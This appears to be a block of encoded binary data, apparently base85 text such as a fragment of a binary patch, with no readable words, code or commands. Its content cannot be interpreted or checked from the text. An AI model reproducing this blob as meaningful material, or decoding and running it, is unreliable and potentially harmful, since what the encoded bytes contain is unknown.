zmzR6C*A=LWNYT3`+RZ0Yr`dTA5Y(KY_)}4%^mY%plrqwM>zVt8Y5lW0wnj8SnAO7) zhq(ybF@%Bz?TuxW$o8ZDfi9AkM?b85nxQq+kg>kcPW!D{PC}r~Vdknr!UFpydnz-N zM}r}_C(A|k^;$YINv#RC!9RvwCvpNud5S}O9SRS{h_`-WQe^XrD7b&d z9wd8WsT^Q#ocj^88J)QZwb)DhXbQvhDI}g1@=`O^c4xc4ektm9kEBD*ngnShq0qgh zh$i^2tK*5-!9qG`1!r?3Gu2lY_7rF*Ls!o;tMSI;Ui*Rl|6{71S$-c=n}?V}?7^>X zz@Vc4&;$)mnO`B#C#*zr6vW6%sf1i1C=BsoBY}4(I{rGO5FwZ38Tyr;Or{`X=AC`7 z@xTyKg|{Q4svzmHhoRHYX<()HgtOqin7MJ8Y6jepk+p`Dv0vj2W*Kkq=SRm7N3mZ@ zort))dmi0Ng_CiHlaVo;0{|71nt81_@yn7!BF6kmBk`@0PdwM5(iW954sOHUYzNit z_K>3fwgHI#NB_@Ro64Wlu*}*RJg%~M+CC=yD4x()JmiYPQZT_*lW~y4B2C43`J=ep z<;}VMgxR-i_o(hE(EysI4U>!uS3ZZASnTXu%;4sg6(HN2-_|OtQpZP0wzmhvhEikk z)%f=2lk2QAH_o+gJSFeN?F#nW@Ky;{xbV6u0^$0;L|{zzy<3}A4Ij3U#86c3hCW+W zk-V%(y2BS|ddH_U8C^jyk**=SpK(z55U&Kw2Un#aBo5N23Lad)?wpvGhnMbf`VR1e z-hL<I>bCzs_2% zDf`eq2@D4bc87sgy*qAx^~`MvTAPqsQ&+Pen}*asa*e?`yDt9>T@mbdqo=h*7hyG; zzD-H!GjHQ<`r4d$@Uf=HXKKsZm7S=r!jT>0y<^>X5Cci{F%ePwc6L+2=E~ z?a}6gsEO%%J}S#ncYpoM)l`L4;p>Su*M%QjRM9?TGiD;+V-MCysl--KD0-?ay(HZL z)SL%SKX>!w7TuZ+ZF4SCpj&%yJf4`;Ev24fk+$`uo1)M|!9rfe`ZW`gxYH{_;~UNu zV;-3@$JiEeDzdRbx}}ZG)1u);*NH9Hr5{=6-wK3!S$l|b2iQ?6uRLz^U$>*sijS%w zoko0e@4A}5`8y4<$~luF@1~^YKMqKJfa3VMvquPOoo0pAj8e{et!f!-LMfK*nhlCsYP8aCfI@ zYPH75s(NyTIzEXC6*&rR;D5$Q`OMl|Xougg5YJdQruKS_E?5-h7!Qy|nDF5`u6`&q z?m#cCJ)sg`u4B>KoSbQwKetA&ZM7BmY4EHqrCHG_>_Q}gZ3hFoBeghIwh0(ZC0&eHhoNk5a<<8o&rx}LO~gE zZngdz5T`F*ztiukdg9ywH8wD6h2KGV_~Uu=>bh^$vZGbRwn_USfsR+xv-zh|!NT*A z=8a2&W5U5X!MR0w^y+C2r}uW8_^{rnOWQr~@4;k=q|_Uik=^PRyB76P7srmfbTpdZ zG_=Whs;YnCfksjYtZ3K^DNhDG5-83F`6gYGG*luQ5*@uhk6AxWcOCIcsJ*tAiED~n z@66!R2)CX{_VYSfN*}4=b$L^p`H}Clq)?ADCc<0$*JtSYsaID1PNVDy6YD!>9y>Ct z6PGkPBvBb8s_|*||mwg-&^b$jtDQ-(CIWu6|N^*jt1jz8-gfgW^%0OLeD5W%Qbz#|` zSijx`w*NNGHQd~T2kKn9+jx!V$_HC`rHTh5Vfc;jU4g>~49yfJgZpL~L_@v7&-Olq z_1qok2GD~IbSSOc!WL&CrcPiTdPo>#x>~hWlE_WcksQ#YfFyW0{>1o!Q@bY7Mcxmq ztLVFTOXa%A%k9hESLgg!SKN=Ks^x;f2qwUr0m(F%13gZVrMl2}mJNN#hY5{7HQz|O z>rUGXUH7q+wi%6!kNHc21eRbP%r7)+@14|4wTC}`Ev6JO+?@o`??bl;@IZ<=^6&A} z{SR^%dFH!YJD15N&}qQZ=@BE!P!KF#JDY$|_AG1B^yVL_#(7c}^x?LoZ$5_lWt4F5 z+B&H4xC83NScOwfvMXXs(wT8|gMI)O)c|d9uekXjil8MSabx00c;N+{GNU5{JXup< zQn?HR0*O1xod1$%NYXGYl^%WZOEW)fU;qa{&BX~1X=zF?Q%SXgr&H^Os`vvj@_zg` zMpTAkf$%IB&i#>|93_;b7h3;FW)gTbJ9Wx~k~1plYDyK=ISoy@Zhly9-S{r6HA6yN za1tqkL73*RxnWLGdHeJAX30x`zH-MA5sP3fX>tLR9>&$+{lY`}a;c3q+!+Qg!*KZ- z!*{0wFksk9n!RM5l&?V&151{gw7L8hGB_){9#DIQ$Vh21KA!mO`Xvi9{h0(q#j5!P`5T|+&Y1#9%D!a8(}GR zL8u(X%J6ajUATe-aX403S;f{?!*B9uUy+QQP5pQtd%Bp8{ON6_MuoNz+3EM$7E%$w zqb$=kzi0&#Vsol>at<N!4F~040_5F&40`5+=}rV^m) z-wM``BVFoO&G)vy@|+>?aH$%X0&MEx0|V%yv>;&6TnFhz$9An@_WiwjDflcJJf}w| zm|j{PJo@(2;(Vl;fLr4<>ePdr!URywjX!zc=9}CXMs>8=;naRG)8QrO^*C&v#TDdn z#YjX!QB?Rc3vEK-XD@UZs;6(Exm@otsLB7>r+kjm#-9O5iyFt1s1NG-ZObC&B<2`+ zyAemN(;^Lm^e2?)38r`UY=T36XKEJ3A|(^!BOIx*SG=ePe)BUtbhsN}&KN5M4>Xw#+4r;RkCuzdDBkYODZbb8hFc@UT?1wt`- zpc@uwTTrDc3~J{i;<-)B+EBEYBM>a(mJ>{&c;DyBS9%~cyc;)ek-i-M#?A6^mKR5m?0tkTDehQs{E55Yzj&M=0_LQ7=Pl0 zgTs!6x%%Q*R$#t@$sX|>hsmAsfMEL!{^OX0R2V0xUg}STVBeRv2yri97r~}W4ytRP zins#A&M-pW>&810RMF@(wQsPMp@<*mKye-2{4NE5w%uy~q|sD5AGqO!-3iuDt0j;u z=OPf$eb=9|!g$Qiqe_Y*vqMdbH^<6n56p^kp&K44l$n(+uLfsdpi;T7^YuU%jS)Bc z^U9(597Uko`>_2Qek!jX@m2X!VtO^yK;)OgmLy{*(c8Xv6IYvVO|J$?u!Hk~7r}A` z;!II}?J{O5c0Fx_MD|=yP1ZoIFK-F8nfc@5%SNBi@YlBiT6w|s%X#=5+0sgvMOrV& z2)~aele4&9(VFlE|C0-uObT?0ie2CY863%c1ai3+^4VW^D}rPRJnbqD;!QD5N7V81 z$Rj;XLRFlK{*)am+y{4FEW~H9m5c~5t{a9sNFD^dh1=I4$+F=5GV=2k3!U{6#|FoH zwhX#;w&8Q^M{ZBc9G4so&RGqdWoopN1&i|y@6rtwWVKi>-#F=3y4z$4Q`+w|ZZT#s zm_0s-OGBd00oJgu0EGqrE)mPHHw^+@EO6YL4C0ZYeiyxbZ!IqW)0|l4MV!EKW?cVq zq)g=HuEDe~Gn0-3Z&1rUQ5y7tjO){rK0|8zl_yARjttWQFp ziZ2({u1YNlSNL8cENS}pXHMfQExk<{r#(zA0vF#UZYkr}r!FUV>a$+EIq;MHSnM>_ z2gnTJHH6A}PH<2k-uKBa!l7T@|AMEOT!q8C?Z4CYy6Xw8yI;1Y>R7}g&-$WMiQI#&L#nST4fhqlXs~`%=WL|oTNHNEwq+FRgTBKDwQW^~+yrat>^g ziP&EI7=Ve?Xf0GM-D&3DLx;=2#x`iqRPcIoQ>;HWL%F})Y;Fe!NZ^VReI>9rTQKUv zn@gh2m{2%Y=jJMc)gDrP$47#0pKKdj83=f8?B|ZGkoQqKYo^YAS%ow0Z-P#Kbnee; z^9a`pB2`+M_6&P-UK&3~$tPqf^KZX2nh<{fTiIc_(PhgTcAkWE@4%zb3VM>iH&qLn zBa}4Rk62TDXIkXhD{`1hH?qGF#Ax-U7xk7TagS6RhlSi(PFNElizfN9=@P}O29aGt z?B)5g3gnGeR3*tOlQSAa>tTuGDh%R2AyDlk^Wxm;F+dj1ix@BNfZo;1Y{sF+FBOv; z`SW`lPw#f*b!1TcoVces|8RHL>MlBmJkZ6NVx=vYJiYxLO{~?OEFDOsEtD1mi3VvkwMAO+d@T*YwNnYSCO zyhI}n%(!j6w9>gwafZWP^?87k6)Wa34DvY0jRGDDg1~Eyi#wpUp)*WMvWz-%iYETR z@Ga=XT9Z8kX}s|lvhkIJ>=#qm?>shiRbyaZu=x3+QDY-#CeMxG2z zRPT7>Z|Bxg5o~x8799525p*5sv9B_XeL{U1PR#r53{x+wTkE&^MR7*sB+F0fCDv(v zA@`eTC~?95Juy)ls{z4e6i4}PjeGW3mGKakNglv+iHwSGAB@Mm$ikQy2b*p=g(*&} zfIL!79ft?!CpoR|b0{;Da&cO6UI3UHs!S)Strv43)V6`Ca%JI0*PodSsfD&h1?NWC zVr$Yw7hmMNM!;t$2=`d9TQht58ZU=9p^FVPe(400M)9{MuYX``U@?(^jfG3}zAxij zhkM#T0opaLF|j&>AM8gb!?EA_<3N+CZ+#oo8MV_C@*&D#M1Us7E7qW$Y1P$%PP!6kQx(@gkhp96hVl~q-_a4y+C=k z{6sz481ScPJi)64W?oq~+Ui#>DkWFT%dis0R{@{n^ft3{{Ae{T5f8! ziof!1Tk+G#%zHoxjDH>OdB3Dt-k3BgzM5+^pS8tQ(l$-cAt7;dEoQDKVnVy%OZ)Z< zQLGhI#zeb{L0&5Bko8{!!F2B%4lJqGpc7Y|Vn+4c$A_*f-|*f(H`?oAga84n`=3`g!u~b0ldO#OzCaZ1N;7Z^~g9geLg%=N>~rl z&FC>w%DJ-=$ipgv+wz@P!ahqnmZk;hexCr;a5qw-g zA51qr62zpcYlsYlqX|l0=+_!KwA_TmWC{#jpI8eQ&d9yB26w?_x~XyGseul(iQc;O zl&Uz@+P{z!48^lgm|Y8O1!!k6LeB9)G1fECh~q|^VfK{+fL zIHl@oPjYv5W*QE5cFO9<%H>9-#;T~BmBhtoXvL`I=2{xYCdSCesi}vN=@|Y>O-YQ^ z+fPqUP>WNENzRVSC_qwAF4*{!SfH(6q^+-Ql&fu|12nS$niWRHYvpcipJZ>uCMm?J zC=^906y=*48EB6|08ITz13sURto?}~OCOFad}<%U_R+vT9k*e-P@5S@~ra1sfE|dFn&Ln?3xjH!VNSw0>~P zfu;n+FYLHZtN|pqbP5+sEF;15w&ww-_40BxROX;KLx(w3X6S4ul)J+B3+jnO)13i3 zrg!+sc~X0`!{-KVtcaZWcHE`7Z-#oU+RPPz_nj2?EDt zUeVea{iv!8{5pC1a_4Uu_#7^a*)`36QePks?+n}o;BunQykx<uEaprgS>6yyOH>xe}Y8jW64}1 zDam*75?fNWWjw8cbr^E&ehx4y$0vdx0|0b7pW26fUIG7nGx|!#tB&5%MYyb>N_|#e zZxFeyoBmn+2R`Ds%5Te$I8Ii1rsGZ!(1r|yMDlYlD4Rq)B1d6|#F*DCPCqc-GIRmF3>bpj=}Z$&yRyss>+QY zfc3ND^Wdus!^m!!%SlnGnciMmQzKbK9Wd;IT5?K-axXniv?kD16xGxStiWYs=ge